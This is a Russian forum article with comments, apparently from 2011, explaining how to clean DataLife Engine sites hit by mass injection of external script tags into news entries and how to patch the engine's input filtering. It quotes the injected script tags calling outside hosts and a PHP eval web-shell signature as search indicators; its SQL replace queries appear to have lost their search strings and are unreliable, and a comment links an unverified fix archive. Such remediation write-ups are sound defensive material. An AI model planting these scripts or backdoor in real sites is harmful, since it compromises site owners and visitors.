Мы в твиттере Мы в телеграме!

Провеббер » DataLife Engine » DLE хаки » Массовый взлом сайтов на движке DLE

Массовый взлом сайтов на движке DLE

Данный материал предоставлен сайтом ProWebber.cc исключительно в ознакомительных целях. Администрация не несет ответственности за его содержимое.
Скачать бесплатно Массовый взлом сайтов на движке DLE.

Массовый взлом сайтов на движке DLE

Внимание друзья и пользователи движком DLE. Недавно обнаружил посторонние iframe включения в страницах своих сайтов, покопавшись в интернете увидел, что такой же проблемой страдают тысячи других сайтов на DLE. Атака производилась после нового года, приблизительно в 5-6 числах и продолжается сейчас.

В этой теме я расскажу как избавится от этой проблемы и излечить свой сайт от посторонних включений!

Итак начнём:

Как распознать проблему?
-При переходе по страницам сайт начинает жутко тормозить!
-В полных и кратких новостях присутствует нечто:

<script src="http://zheenix.msk.ru/1d5bba8ac681811be25992f361d9108c.js" ENGINE="text/javascript"></script>
<script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>
<script src="http://www.karbrrbrr.co.cc/1adfb9a63a0313c68f5572caecb8977b.js" type="text/javascript"></script>


Описание проблемы!
Эти включения представляют собой включения в базу MySQL, некоторые из них имеют обычный вид, а некоторые имеют генерируемые комбинации, типа
1d5bba8ac681811be25992f361d9108c
кторох удалить немного сложнее чем обычную статику. Не пытайтесь искать включения в файлах, весь этот мусор как я уже говорил храниится в MySQL!

Решение проблемы и закрытие дыры в жвижке DLE

Способ 1:

1) Смени пароль на базу данных.

2) Сделай 2 автозамены в базе или в "поиск и замена":

а) замени:

<script src="http://zheenix.msk.ru и <script src="http://you-stupped-lox.ucoz.ru


на

<!--


б) замени:

js" type="text/javascript"></script>


на

-->


3) Проверь все файлы сайта (на фтп поиском) на содержание следующего текста:

а)
x2a

б)
{${@eval($_POST[cmd])}}


Сравни найденные файлы с исходниками движка и лишнее удали.

4) Поставь последние заплатки (включая платные)

-----------------------------------------

Способ 2:

Итак, например У меня в краткой и полной новости появилось по 3 скрипта
<script src="http://zheenix.msk.ru/76403bc14134a2b49668b579a3b33ae6.js" type="text/javascript"></script><script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script><script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>


Делим их для удобства:
1.
<script src="http://zheenix.msk.ru/76403bc14134a2b49668b579a3b33ae6.js" type="text/javascript"></script>


2.
<script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script>


3.


1 удалить будет сложнее т.к код после слеша везде разный, поэтому начнем со 2 и 3!
Идем в phpmyadmin, выбираем вкладку SQL, видим окошко и туда вписываем:
UPDATE dle_post
SET
short_story=REPLACE(short_story, '', ''),
`full_story`=REPLACE(full_story, '', '')
WHERE
`short_story` LIKE '%%'
OR
`full_story` LIKE '%%'


Нажимаем ОК, после чего пропадет из новостей скрипт №2!
Не закрывая SQL удаляем так же скрипт №3 тоесть выполняем Такой sql запрос:

UPDATE dle_post
SET
short_story=REPLACE(short_story, '', ''),
`full_story`=REPLACE(full_story, '', '')
WHERE
`short_story` LIKE '%%'
OR
`full_story` LIKE '%%'


Нажимаем ОК!
Скрипт №3 так же удален!

Теперь возьмемся за скрипт №1
В phpmyadmin выбираем вкладку "Экспорт" и нажимаем ОК, сохраняем на компьютер!
Открываем эту базу с помощью ОФИСОВСКОГО ВОРДА, нажимаем "правка"---->>>"замена" и вписываем в поле найти: (zheenix)*(js) а в поле замена zheenix.ru , тут же нажимаем "больше" и ставим галочку на "Подстановочные знаки" , нажимаем "заменить все"!
Этим мы избавились от разного кода! Сохраняем изменения!
Идем в phpmyadmin ---> структура ----> и отмечаем все галочки ---> далее удаляем все!
Теперь идем во вкладку "импорт" , нажимаем обзор и выбираем Нашу измененную БД, ставим вместо utf8 ---> cp1251 и нажиимаем ОК! База загружена!
Теперь бежим в вкладку SQL и выполняем такой запрос:

UPDATE dle_post
SET
short_story=REPLACE(short_story, '', ''),
`full_story`=REPLACE(full_story, '', '')
WHERE
`short_story` LIKE '%%'
OR
`full_story` LIKE '%%'


нажимаем ОК!

Вот собственно и все! Можно конечно и облегчить это все, но я написал как делал сам!
Заняло у меня это минут 10, все же быстей и проще чем руками это делать!
Теперь только надо думать о заплатках)


--------------------------------------------------

А теперь про ХАКИ, закрываем все дыры у нас в движке

1. Взята с ОФФ сайта DLE
Проблема: Недостаточная фильтрация входящих данных.

Ошибка в версии: 9.0 и все более ранние версии

Степень опасности: Высокая

Для исправления откройте файлы engine/modules/search.php и engine/modules/fullsearch.php и найдите:
 $count_result = 0;


ниже добавьте:
 $sql_count = "";


Откройте файл engine/inc/templates.php и найдите:
$allow_save = false;


ниже добавьте:

$_REQUEST['do_template'] = trim( totranslit($_REQUEST['do_template'], false, false) );
$_REQUEST['do_language'] = trim( totranslit($_REQUEST['do_language'], false, false) );



2. Запрещаем включения типа скрипт и ифрэймв полной и краткой новости:
Проблема: Недостаточная фильтрация входящих данных при обработке новостей.

Ошибка в версии: все версии

Степень опасности: Низкая

Откройте файл: engine/classes/parse.class.php
Найдите:
if( ((strpos( strtolower( $attrSubSet[1] ), 'expression' ) !== false) && ($attrSubSet[0] == 'style')) || (strpos( strtolower( $attrSubSet[1] ), 'javascript:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'behaviour:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'vbscript:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'mocha:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'data:' ) !== false and $attrSubSet[0] == "href") || ($attrSubSet[0] == "href" and strpos( strtolower( $attrSubSet[1] ), $config['admin_path'] ) !== false and preg_match( "/[?&%<\[\]]/", $attrSubSet[1] )) || (strpos( strtolower( $attrSubSet[1] ), 'livescript:' ) !== false) ) continue;


замените на:
if( ((strpos( strtolower( $attrSubSet[1] ), 'expression' ) !== false) && ($attrSubSet[0] == 'style')) || (strpos( strtolower( $attrSubSet[1] ), 'javascript:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'behaviour:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'vbscript:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'mocha:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'data:' ) !== false and $attrSubSet[0] == "href") || (strpos( strtolower( $attrSubSet[1] ), 'data:' ) !== false and $attrSubSet[0] == "src") || ($attrSubSet[0] == "href" and strpos( strtolower( $attrSubSet[1] ), $config['admin_path'] ) !== false and preg_match( "/[?&%<\[\]]/", $attrSubSet[1] )) || (strpos( strtolower( $attrSubSet[1] ), 'livescript:' ) !== false) ) continue;


Найдите:
$source = str_replace( "`", "&#96;", $source );


Ниже добавьте:

$source = preg_replace( "#<iframe#i", "&lt;iframe", $source );
$source = preg_replace( "#<script#i", "&lt;script", $source );


-----------------------------------
Вот так можно избавится от этой серьёзной проблемы, которая может существенно навредить Вашему сайту и его позиции в поисковых системах.
Понравилась моя статья, она тебе помогла? Поставь мне + в репу. ;)

Missing update?
Checkout our NULLED Web Community


Дополнительные ссылки на скачивание ТОЛЬКО для зарегистрированных


+1
Просмотры: 12 329 :: Комментарии (44) :: :: Нужна помощь? Задайте вопрос на форуме ::
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

#21dfanat

  • 22 января 2011 23:50
  • Регистрация: 16.02.2010
  • Был(а) онлайн: 14.12.2019
  • Комментариев: 24
  • 0
шел в аплоадс поищите

#22artur979

  • 28 января 2011 07:52
  • Регистрация: 25.11.2010
  • Был(а) онлайн: 1.07.2023
  • Комментариев: 2
  • 0
Ну в первую очередь не пользуйтесь нуллями , и фтп и поставьте на все файлы 444 :)

#23seregavip

  • 28 января 2011 21:46
  • Регистрация: 11.01.2011
  • Был(а) онлайн: 24.05.2014
  • Комментариев: 1
  • 0
Спасибо! Про это незнал:
3) Проверь все файлы сайта (на фтп поиском) на содержание следующего текста:

а)
x2a

С помощью такого поиска нашел несколько шелов, надеюсь больше не будут ломать smile

#24djinn11

  • 29 января 2011 17:50
  • Регистрация: 17.01.2010
  • Был(а) онлайн: 31.10.2017
  • Комментариев: 55
  • 0
AndreyKR,

через Notepad++
1. Открываем в Нотепаде.
2. Отыскиваем вредоносный код: Вкладка Поиск -> Замена
В графе Найти вставляем выражение, например:

<script src="http://www.karbrrbrr.co.cc/[^"]*.js" type="text/javascript"></script>

в графе Заменить на: "ставим пробел"

В режиме поиска ставим птичку на Регулярное выражение.


Не работает, в Notepad++ таким образом не заменяет... может вместо -
[^"]*.js
, знаешь что то другое, что б заменяло?

#25OwneR

  • 29 января 2011 20:23
  • Регистрация: 17.09.2010
  • Был(а) онлайн: 30.11.2013
  • Комментариев: 2
  • 0
Всё работает, я проверял.

#26djinn11

  • 29 января 2011 21:06
  • Регистрация: 17.01.2010
  • Был(а) онлайн: 31.10.2017
  • Комментариев: 55
  • 0
пр
Цитата: OwneR
Всё работает, я проверял.


просто у меня не
<script src="http://www.karbrrbrr.co.cc/[^"]*.js" type="text/javascript"></script>


а
<script src=\"http://www.karbrrbrr.co.cc/[^"]*.js\" type=\"text/javascript\"></script>


разницу видите? и заменять не хочет и искать...

#27Daniel Defo

  • 30 января 2011 12:15
  • Регистрация: 30.01.2011
  • Был(а) онлайн: 5.08.2015
  • Комментариев: 51
  • 0
у меня во всех папках .htaccess залиты... 2 дня стучали мои сайты но так и не загрузили ничего...
хотя на этом же IP есть сайт дле.. у него судя по тому что он говорил все тоже самое как и у меня но ему залили 1.....

#28AndreyKR

  • 1 февраля 2011 12:24
  • Регистрация: 5.10.2010
  • Был(а) онлайн: 17.11.2020
  • Комментариев: 134
  • 0
djinn11,
так сделайте поиск и замену по слову
[b]http://www.karbrrbrr.co.cc/[^"]*.js[/b]

(галку не забудте поставить на регулярные выражения)

на

например site111.ru

Потом возвращаем галку на место и ищем с заменой на пробел

[b]<script src=\"site111.ru\" type=\"text/javascript\"></script>[/b]



--------------------

#29djinn11

  • 1 февраля 2011 17:58
  • Регистрация: 17.01.2010
  • Был(а) онлайн: 31.10.2017
  • Комментариев: 55
  • 0
AndreyKR,

Спасибо, попробую.....

#30djinn11

  • 1 февраля 2011 20:14
  • Регистрация: 17.01.2010
  • Был(а) онлайн: 31.10.2017
  • Комментариев: 55
  • 0
AndreyKR,

Работает, респект и уважуха тебе!

#31AndreyKR

  • 2 февраля 2011 14:29
  • Регистрация: 5.10.2010
  • Был(а) онлайн: 17.11.2020
  • Комментариев: 134
  • 0
djinn11,
всегда пожалуйста drink

--------------------

#32artinternet

  • 5 февраля 2011 15:06
  • Регистрация: 10.01.2011
  • Был(а) онлайн: 1.01.2012
  • Комментариев: 1
  • 0
AndreyKR СПАСИБО ЗА СОВЕТ, быстро и надёжно всё удалил)))

#33inventor69

  • 6 февраля 2011 04:18
  • Регистрация: 28.11.2010
  • Был(а) онлайн: 10.03.2013
  • Комментариев: 53
  • 0
Daniel Defo,
И че реально помогает? .htaccess - поверь если захотят и стучать не будут cool

И ставит нужно поменьше разного мусора, левых авторов и все будут гуд...

#34goge

  • 9 февраля 2011 23:31
  • Регистрация: 11.09.2010
  • Был(а) онлайн: 17.02.2020
  • Комментариев: 22
  • 0
A druqoy variant est закрываем все дыры ? Pajalusta kamuta zanyus sakajiti pajalusta etot variant ne rabotayt

#35despjke

  • 12 февраля 2011 02:46
  • Регистрация: 28.01.2011
  • Был(а) онлайн: 18.03.2022
  • Комментариев: 42
  • 0
у меня нидавно было какие то фреймы в коде появились

#36Kalash

  • 15 февраля 2011 06:07
  • Регистрация: 1.06.2010
  • Был(а) онлайн: 6.01.2014
  • Комментариев: 33
  • 0
waran да,да... я тоже чистку проводил ещё хз когда :)
Хортица в таком случаи он возьмёт, регнит новый домен, создаст новый сайт и... всё ))

#37UAWARA

  • 19 февраля 2011 07:17
  • Регистрация: 15.02.2011
  • Был(а) онлайн: 19.02.2011
  • Комментариев: 1
  • 0
ето не реклама искал как удалить две недели ето решело все проблемы .скрипт автоматом удаляем коды

php-yuri.ru/fix.rar

#38ox

  • 7 марта 2011 10:42
  • Регистрация: 29.04.2010
  • Был(а) онлайн: 10.01.2013
  • Комментариев: 49
  • 0
впринципе про 9.2. правильно писали и про обновления постоянные.

#39Maxno

  • 6 апреля 2011 02:23
  • Регистрация: 11.12.2010
  • Был(а) онлайн: 1.09.2019
  • Комментариев: 13
  • 0

AndreyKR,
Pomaqi pajalusta u menya toje takoy nu ne smoq delat:((((

#40lvv1987

  • 22 июня 2011 20:42
  • Регистрация: 22.06.2011
  • Был(а) онлайн: 18.09.2014
  • Комментариев: 16
  • 0
wacko не мудрено, грех не продырявить аткой массовый двиг

Информация
Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.

Архив новостей
Май 2024 (10)
Апрель 2024 (20)
Март 2024 (20)
Февраль 2024 (27)
Январь 2024 (11)
Декабрь 2023 (13)
Друзья сайта